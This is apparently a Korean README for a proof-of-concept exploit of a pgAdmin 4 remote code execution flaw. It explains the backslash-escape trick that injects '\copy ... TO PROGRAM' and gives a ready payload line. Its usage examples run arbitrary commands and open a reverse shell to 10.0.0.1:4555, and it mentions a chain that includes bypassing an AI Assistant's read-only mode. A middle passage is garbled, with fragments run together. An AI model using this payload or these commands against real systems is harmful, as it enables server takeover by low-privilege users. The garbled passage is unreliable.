
pgAdmin 4 가져오기/내보내기 RCE (CVE-2026-17566) PoC - 백슬래시 이스케이프 불일치를 통한 TO PROGRAM 주입
pgAdmin 4 Import/Export Data 도구 원격 코드 실행 PoC. _is_query_parens_balanced() 괄호 검사기와 psql의 백슬래시 이스케이프 의미 체계 차이를 이용하여 \copy ... TO PROGRAM을 주입하고 pgAdmin이 실행 중인 서버에서 임의 명령을 실행합니다.
배경 공격 체인: CVE-2026-17349(Workspaces 자격 증명 유출) → CVE-2026-17351(AI Assistant 읽기 전용 우회) → 본 취약점(RCE). 세 가지 모두 낮은 권한의 인증된 사용자만 있으면 됩니다.
Import/Export Data 도구는 사용자 SQL을 Jinja 템플릿에 삽입하여 psql \copy (...) 명령을 구성합니다. 수제 괄호 균형 검사기는 항상 \'를 이스케이프된 따옴표로 처리하지만(standard_conforming_strings=off일 때만 올바름), PostgreSQL 기본값인 standard_conforming_strings=on에서는 psql이 백슬래시를 일반 문자로 취급하므로 따옴표가 바로 닫힙니다.
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
검사기는 )가 여전히 문자열 안에 있다고 판단 → 괄호 "균형" 통과; psql은 a\'에서 문자열을 닫고, )가 \copy (...) 묶음을 종료하며, TO PROGRAM 'cmd'가 실제 명령이 되어 psql의 popen()으로 실행됩니다.
_is_query_parens_balanced() 도입 이후); 수정 커밋 1496fabeTO PROGRAM 주입, 동일 계열)tools_import_export_data 권한 보유)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
절차: 로그인(CSRF/session 자동 처리) → 서버 열거 → POST /import_export/job/<sid>로 구성된 is_query_export 요청 제출.
보안 연구, 취약점 검증 및 방어적 테스트 용도로만 사용하십시오. 본 스크립트는 공개된 기술 분석을 바탕으로 작성되었으며 실제 환경에서 검증되지 않았습니다. 요청 필드는 대상 pgAdmin 버전에 따라 미세 조정이 필요할 수 있습니다. 승인된 테스트 환경에서만 실행하고, 승인되지 않은 시스템에는 사용하지 마십시오.
| 매개변수 | 설명 |
|---|
--url | pgAdmin 기본 URL |
--user / --password(또는 PGADMIN_PASSWORD) | 낮은 권한 계정 |
--command | 임의 명령(작은따옴표 포함 불가) |
--reverse HOST:PORT | bash 리버스 셸 생성 |
--server-id | 서버 ID(기본값은 첫 번째 서버 자동 선택) |
--file | 내보내기 파일명(\copy 명령 구성용, 기본값 /tmp/pgadmin_export.csv) |
--no-verify | TLS 인증서 검증 건너뛰기 |